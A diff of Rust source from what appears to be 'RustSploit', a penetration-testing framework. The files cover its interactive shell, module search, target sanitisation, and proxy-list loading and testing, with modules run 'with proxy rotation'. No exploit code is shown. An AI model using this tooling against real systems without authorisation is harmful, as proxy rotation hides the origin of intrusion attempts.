|
||||
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
|
||||
"use" | "u" => "use",
|
||||
"set" | "target" => "set",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"back" | "b" | "clear" | "reset" => "back",
|
||||
"exit" | "quit" | "q" => "exit",
|
||||
other => other,
|
||||
}
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn sanitize_module_path(input: &str) -> Option<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if trimmed.contains("..") || trimmed.contains('\\') {
|
||||
return None;
|
||||
}
|
||||
let valid = trimmed.chars().all(|c| {
|
||||
matches!(
|
||||
c,
|
||||
'a'..='z'
|
||||
| 'A'..='Z'
|
||||
| '0'..='9'
|
||||
| '/'
|
||||
| '_'
|
||||
| '-'
|
||||
)
|
||||
});
|
||||
if valid {
|
||||
Some(trimmed.to_string())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
fn sanitize_target(input: &str) -> std::result::Result<String, &'static str> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err("Target cannot be empty.");
|
||||
}
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err("Target value is too long.");
|
||||
}
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err("Target cannot contain control characters.");
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn render_help() {
|
||||
println!();
|
||||
println!("{}", "RustSploit Command Palette".bold().underline());
|
||||
println!(
|
||||
"{}",
|
||||
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
|
||||
.dimmed()
|
||||
);
|
||||
println!();
|
||||
|
||||
let entries = vec![
|
||||
("help", "help | h | ?", "Show this screen"),
|
||||
("modules", "modules | ls | m", "List available modules"),
|
||||
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
|
||||
("use", "use <path> | u <path>", "Select a module to run"),
|
||||
("set target", "set target <value>", "Set current target host/IP"),
|
||||
("run", "run | go", "Execute selected module (with proxy rotation)"),
|
||||
("back", "back | b | clear | reset", "Clear current module and target"),
|
||||
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
|
||||
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
|
||||
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
|
||||
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
|
||||
("show_proxies", "show_proxies | proxies", "Display proxy status"),
|
||||
("exit", "exit | quit | q", "Leave the shell"),
|
||||
];
|
||||
|
||||
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
|
||||
println!("{}", "-".repeat(72).dimmed());
|
||||
for (cmd, shortcuts, desc) in entries {
|
||||
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
|
||||
}
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
|
||||
.dimmed()
|
||||
);
|
||||
println!();
|
||||
}
|
||||
|
||||
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded to test.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let total = ctx.proxy_list.len();
|
||||
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
|
||||
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
|
||||
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
|
||||
|
||||
println!(
|
||||
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
|
||||
total,
|
||||
if total == 1 { "y" } else { "ies" },
|
||||
timeout_secs,
|
||||
max_parallel
|
||||
);
|
||||
|
||||
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
|
||||
let working_count = summary.working.len();
|
||||
let failed = summary.failed;
|
||||
let working = summary.working;
|
||||
|
||||
if working_count == 0 {
|
||||
println!("{}", "[-] No proxies passed the connectivity test.".red());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] {} proxies passed the connectivity test.", working_count).green()
|
||||
);
|
||||
}
|
||||
|
||||
if !failed.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] {} proxies failed validation:", failed.len()).yellow()
|
||||
);
|
||||
for failure in &failed {
|
||||
println!(" {} -> {}", failure.proxy, failure.reason);
|
||||
}
|
||||
}
|
||||
|
||||
ctx.proxy_list = working;
|
||||
|
||||
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
|
||||
ctx.proxy_enabled = false;
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_path(message: &str) -> io::Result<String> {
|
||||
loop {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let value = input.trim();
|
||||
if !value.is_empty() {
|
||||
return Ok(value.to_string());
|
||||
}
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default_hint);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please answer with 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match trimmed.parse::<u64>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match trimmed.parse::<usize>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
}
|
||||
}
|
||||
}
|
||||
-644
@@ -1,644 +0,0 @@
|
||||
// src/utils.rs
|
||||
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader};
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest;
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Maximum length for target strings to prevent DoS
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for module paths
|
||||
const MAX_MODULE_PATH_LENGTH: usize = 512;
|
||||
|
||||
/// Maximum file size to read (10MB) - prevents reading huge files
|
||||
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
|
||||
|
||||
/// Maximum number of proxies to process
|
||||
const MAX_PROXIES: usize = 100000;
|
||||
|
||||
/// Maximum parallel proxy tests
|
||||
const MAX_PARALLEL_PROXIES: usize = 1000;
|
||||
|
||||
/// Maximum timeout for proxy tests (5 minutes)
|
||||
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
|
||||
|
||||
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
|
||||
/// always return a valid "host:port" or "[ipv6]:port" string.
|
||||
///
|
||||
/// # Security
|
||||
/// - Validates input length to prevent DoS
|
||||
/// - Sanitizes input to prevent injection
|
||||
/// - Validates hostname format
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
// Input validation
|
||||
let trimmed = raw.trim();
|
||||
|
||||
// Check length to prevent DoS
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters, got {})",
|
||||
MAX_TARGET_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Basic sanitization - remove control characters and excessive whitespace
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
|
||||
.collect::<String>()
|
||||
.split_whitespace()
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ");
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("Target contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if sanitized.contains("..") || sanitized.contains("//") {
|
||||
return Err(anyhow!("Invalid target format: contains path traversal characters"));
|
||||
}
|
||||
|
||||
// Handle already normalized formats
|
||||
if sanitized.contains("]:") || sanitized.starts_with('[') {
|
||||
// Validate the format
|
||||
if sanitized.starts_with('[') && !sanitized.contains(']') {
|
||||
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
|
||||
}
|
||||
// Basic validation - check it's not just brackets
|
||||
let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
|
||||
if inner.is_empty() {
|
||||
return Err(anyhow!("Invalid target: empty address"));
|
||||
}
|
||||
return Ok(sanitized.to_string());
|
||||
}
|
||||
|
||||
// Detect IPv6 addresses (multiple colons, no dots)
|
||||
let colon_count = sanitized.matches(':').count();
|
||||
let has_dots = sanitized.contains('.');
|
||||
|
||||
// IPv6 detection: multiple colons and no dots (or dots only in port)
|
||||
let is_ipv6 = colon_count >= 2 && !has_dots;
|
||||
|
||||
// Additional IPv6 validation
|
||||
if is_ipv6 {
|
||||
// Check for valid IPv6 characters
|
||||
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
|
||||
let addr_part = sanitized.split(':').next().unwrap_or("");
|
||||
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
|
||||
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
|
||||
}
|
||||
Ok(format!("[{}]", sanitized))
|
||||
} else {
|
||||
// Validate hostname/IPv4 format
|
||||
// Basic validation: no spaces, reasonable characters
|
||||
if sanitized.contains(' ') {
|
||||
return Err(anyhow!("Invalid target format: contains spaces"));
|
||||
}
|
||||
|
||||
// Check for valid hostname/IPv4 characters
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
|
||||
if !host_re.is_match(&sanitized) {
|
||||
return Err(anyhow!("Invalid target format: contains invalid characters"));
|
||||
}
|
||||
|
||||
Ok(sanitized.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// Recursively list .rs files up to a certain depth with security checks
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
// Depth limit to prevent infinite recursion
|
||||
if depth > MAX_DEPTH {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Validate directory exists and is readable
|
||||
if !dir.exists() {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Prevent path traversal - ensure we're within src/modules
|
||||
let modules_base = Path::new("src/modules");
|
||||
if !dir.starts_with(modules_base) && depth > 0 {
|
||||
// Only allow traversal within src/modules
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Read directory with error handling
|
||||
let entries = match fs::read_dir(dir) {
|
||||
Ok(entries) => entries,
|
||||
Err(_) => return modules, // Silently skip unreadable directories
|
||||
};
|
||||
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
|
||||
// Check for symlinks that might cause issues
|
||||
if path.is_symlink() {
|
||||
continue; // Skip symlinks for security
|
||||
}
|
||||
|
||||
if path.is_dir() {
|
||||
// Recursively collect from subdirectories
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
// Only process .rs files, skip mod.rs
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
// Validate path length
|
||||
let relative_path = match path.strip_prefix("src/modules") {
|
||||
Ok(rel) => rel,
|
||||
Err(_) => &path, // Fallback to full path if strip fails
|
||||
};
|
||||
|
||||
let path_str = relative_path
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // Windows path normalization
|
||||
|
||||
// Validate path length
|
||||
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
|
||||
modules.push(path_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth with validation
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
// Input validation
|
||||
if module_path.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if module_path.len() > MAX_MODULE_PATH_LENGTH {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if module_path.contains("..") || module_path.contains("//") {
|
||||
return false;
|
||||
}
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
if modules.is_empty() {
|
||||
println!("{}", "No modules found.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
|
||||
for module in modules {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword with validation
|
||||
pub fn find_modules(keyword: &str) {
|
||||
// Input validation
|
||||
if keyword.is_empty() {
|
||||
println!("{}", "Keyword cannot be empty.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
// Limit keyword length
|
||||
if keyword.len() > 100 {
|
||||
println!("{}", "Keyword too long (max 100 characters).".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
let filtered: Vec<String> = modules
|
||||
.into_iter()
|
||||
.filter(|m| m.to_lowercase().contains(&keyword_lower))
|
||||
.collect();
|
||||
|
||||
if filtered.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("No modules found matching '{}'.", keyword).red()
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("Modules matching '{}':", keyword).bold().underline()
|
||||
);
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
for module in filtered {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyParseError {
|
||||
pub line_number: usize,
|
||||
pub content: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyLoadSummary {
|
||||
pub proxies: Vec<String>,
|
||||
pub skipped: Vec<ProxyParseError>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestFailure {
|
||||
pub proxy: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestSummary {
|
||||
pub working: Vec<String>,
|
||||
pub failed: Vec<ProxyTestFailure>,
|
||||
}
|
||||
|
||||
/// Validates and sanitizes a proxy URL
|
||||
fn validate_proxy_url(url: &Url) -> Result<()> {
|
||||
// Check scheme
|
||||
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
|
||||
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
|
||||
}
|
||||
|
||||
// Validate host
|
||||
let host = url.host_str()
|
||||
.ok_or_else(|| anyhow!("missing proxy host"))?;
|
||||
|
||||
// Validate host length
|
||||
if host.is_empty() {
|
||||
return Err(anyhow!("proxy host cannot be empty"));
|
||||
}
|
||||
|
||||
if host.len() > 253 { // Max DNS hostname length
|
||||
return Err(anyhow!("proxy host too long (max 253 characters)"));
|
||||
}
|
||||
|
||||
// Validate hostname format (basic check)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !host_re.is_match(host) {
|
||||
return Err(anyhow!("invalid proxy host format"));
|
||||
}
|
||||
|
||||
// Check for localhost/private IP abuse (warning only, not blocking)
|
||||
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
|
||||
// Allow but could log warning in production
|
||||
}
|
||||
|
||||
// Validate port
|
||||
let port = url.port()
|
||||
.ok_or_else(|| anyhow!("missing proxy port"))?;
|
||||
|
||||
if port == 0 {
|
||||
return Err(anyhow!("proxy port cannot be 0"));
|
||||
}
|
||||
|
||||
// Port is already validated to be in u16 range (0-65535) by Url::parse
|
||||
// We just need to check it's not 0 (already checked above)
|
||||
// Additional validation: check for common restricted ports if needed
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to normalise and validate a proxy entry with enhanced security
|
||||
fn normalize_proxy_candidate(line: &str) -> Result<String> {
|
||||
let trimmed = line.trim();
|
||||
|
||||
// Input validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("empty line"));
|
||||
}
|
||||
|
||||
// Length check to prevent DoS
|
||||
if trimmed.len() > 2048 {
|
||||
return Err(anyhow!("proxy line too long (max 2048 characters)"));
|
||||
}
|
||||
|
||||
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| {
|
||||
let ch = *c;
|
||||
!ch.is_control() || ch == '\n' || ch == '\r'
|
||||
})
|
||||
.collect();
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("proxy line contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Add scheme if missing
|
||||
let candidate = if sanitized.contains("://") {
|
||||
sanitized
|
||||
} else {
|
||||
format!("http://{}", sanitized)
|
||||
};
|
||||
|
||||
// Parse URL
|
||||
let url = Url::parse(&candidate)
|
||||
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
|
||||
|
||||
// Validate the proxy URL
|
||||
validate_proxy_url(&url)?;
|
||||
|
||||
Ok(candidate)
|
||||
}
|
||||
|
||||
/// Load proxies from a file with enhanced security and validation
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
|
||||
// Input validation
|
||||
if filename.is_empty() {
|
||||
return Err(anyhow!("filename cannot be empty"));
|
||||
}
|
||||
|
||||
// Path validation - prevent path traversal
|
||||
let path = Path::new(filename);
|
||||
|
||||
// Check for path traversal attempts
|
||||
if filename.contains("..") {
|
||||
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
|
||||
}
|
||||
|
||||
// Resolve to absolute path to check
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
|
||||
|
||||
// Check file exists and is a regular file
|
||||
if !canonical.is_file() {
|
||||
return Err(anyhow!("'{}' is not a regular file", filename));
|
||||
}
|
||||
|
||||
// Check file size to prevent reading huge files
|
||||
let metadata = fs::metadata(&canonical)
|
||||
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
|
||||
|
||||
if metadata.len() > MAX_FILE_SIZE {
|
||||
return Err(anyhow!(
|
||||
"file too large (max {} bytes, got {} bytes)",
|
||||
MAX_FILE_SIZE,
|
||||
metadata.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Open file
|
||||
let file = fs::File::open(&canonical)
|
||||
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
let mut skipped = Vec::new();
|
||||
let mut line_count = 0usize;
|
||||
|
||||
for (idx, line_res) in reader.lines().enumerate() {
|
||||
line_count = idx + 1;
|
||||
|
||||
// Limit number of lines to process
|
||||
if line_count > MAX_PROXIES {
|
||||
skipped.push(ProxyParseError {
|
||||
line_number: line_count,
|
||||
content: format!("... (truncated after {} lines)", MAX_PROXIES),
|
||||
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
let raw_line = line_res
|
||||
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
|
||||
let trimmed = raw_line.trim();
|
||||
|
||||
// Skip empty lines and comments
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
|
||||
continue;
|
||||
}
|
||||
|
||||
match normalize_proxy_candidate(trimmed) {
|
||||
Ok(proxy) => proxies.push(proxy),
|
||||
Err(err) => skipped.push(ProxyParseError {
|
||||
line_number: idx + 1,
|
||||
content: if trimmed.len() > 100 {
|
||||
format!("{}...", &trimmed[..100])
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
},
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
if proxies.is_empty() {
|
||||
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
|
||||
}
|
||||
|
||||
// Limit number of proxies
|
||||
if proxies.len() > MAX_PROXIES {
|
||||
let original_count = proxies.len();
|
||||
proxies.truncate(MAX_PROXIES);
|
||||
return Err(anyhow!(
|
||||
"too many proxies (max {}, found {}). Truncated to {}",
|
||||
MAX_PROXIES,
|
||||
original_count,
|
||||
MAX_PROXIES
|
||||
));
|
||||
}
|
||||
|
||||
Ok(ProxyLoadSummary { proxies, skipped })
|
||||
}
|
||||
|
||||
/// Test proxies concurrently with enhanced validation and resource limits
|
||||
pub async fn test_proxies(
|
||||
proxies: &[String],
|
||||
test_url: &str,
|
||||
timeout_secs: u64,
|
||||
max_parallel: usize,
|
||||
) -> ProxyTestSummary {
|
||||
// Input validation
|
||||
if proxies.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate and limit inputs
|
||||
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
|
||||
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
|
||||
|
||||
// Limit number of proxies to test
|
||||
let proxies_to_test = if proxies.len() > MAX_PROXIES {
|
||||
&proxies[..MAX_PROXIES]
|
||||
} else {
|
||||
proxies
|
||||
};
|
||||
|
||||
// Validate test URL
|
||||
let test_url = test_url.trim();
|
||||
if test_url.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: "test URL is empty".to_string(),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
if let Err(e) = Url::parse(test_url) {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: format!("invalid test URL: {}", e),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
let semaphore = Arc::new(Semaphore::new(max_parallel));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for proxy in proxies_to_test.iter().cloned() {
|
||||
let test_url = test_url.to_string();
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match semaphore.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
|
||||
}
|
||||
};
|
||||
let _permit = permit;
|
||||
let result = check_proxy(&proxy, &test_url, timeout).await;
|
||||
(proxy, result)
|
||||
}));
|
||||
}
|
||||
|
||||
let mut summary = ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
match res {
|
||||
Ok((proxy, Ok(()))) => summary.working.push(proxy),
|
||||
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
|
||||
proxy,
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
Err(join_err) => summary.failed.push(ProxyTestFailure {
|
||||
proxy: "<spawn failed>".to_string(),
|
||||
reason: join_err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
summary
|
||||
}
|
||||
|
||||
/// Check a single proxy with enhanced error handling and validation
|
||||
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
|
||||
// Validate inputs
|
||||
if proxy.is_empty() {
|
||||
return Err(anyhow!("proxy cannot be empty"));
|
||||
}
|
||||
|
||||
if test_url.is_empty() {
|
||||
return Err(anyhow!("test URL cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
let _test_url_parsed = Url::parse(test_url)
|
||||
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
|
||||
|
||||
// Create proxy configuration
|
||||
let proxy_cfg = reqwest::Proxy::all(proxy)
|
||||
.with_context(|| format!("invalid proxy '{}'", proxy))?;
|
||||
|
||||
// Build HTTP client with timeout
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(timeout)
|
||||
.proxy(proxy_cfg)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("failed to build reqwest client")?;
|
||||
|
||||
// Make request with timeout
|
||||
let response = client
|
||||
.get(test_url)
|
||||
.timeout(timeout)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
|
||||
|
||||
// Check response status
|
||||
let status = response.status();
|
||||
if !status.is_success() {
|
||||
return Err(anyhow!(
|
||||
"received HTTP status {} while hitting {}",
|
||||
status,
|
||||
test_url
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user